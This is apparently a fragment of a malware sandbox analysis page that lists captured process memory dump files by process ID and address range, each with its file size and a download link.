memory/1152-235-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/1388-136-0x00007FF618E00000-0x00007FF618EEE000-memory.dmp

Filesize
952KB

Download
memory/1388-137-0x00007FF618E00000-0x00007FF618EEE000-memory.dmp

Filesize
952KB

Download
memory/1540-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1540-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1600-151-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1600-218-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/1600-161-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1656-245-0x0000000000FE0000-0x0000000000FF2000-memory.dmp

Filesize
72KB

Download
memory/1852-170-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/1976-222-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/2004-196-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/2116-232-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/2596-192-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/2700-213-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/3056-227-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/3508-201-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/3640-224-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-233-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-254-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-215-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-181-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-252-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-177-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-167-0x000001AE656B0000-0x000001AE656C0000-memory.dmp

Filesize
64KB

Download
memory/3640-198-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-251-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-164-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/3640-246-0x00007FF7D50E0000-0x00007FF7D5200000-memory.dmp

Filesize
1.1MB

Download
memory/4004-78-0x0000000000F40000-0x0000000000F8C000-memory.dmp

Filesize
304KB

Download
memory/4524-209-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/4632-184-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/4856-188-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/4928-230-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/4940-179-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/5092-141-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
memory/5092-149-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download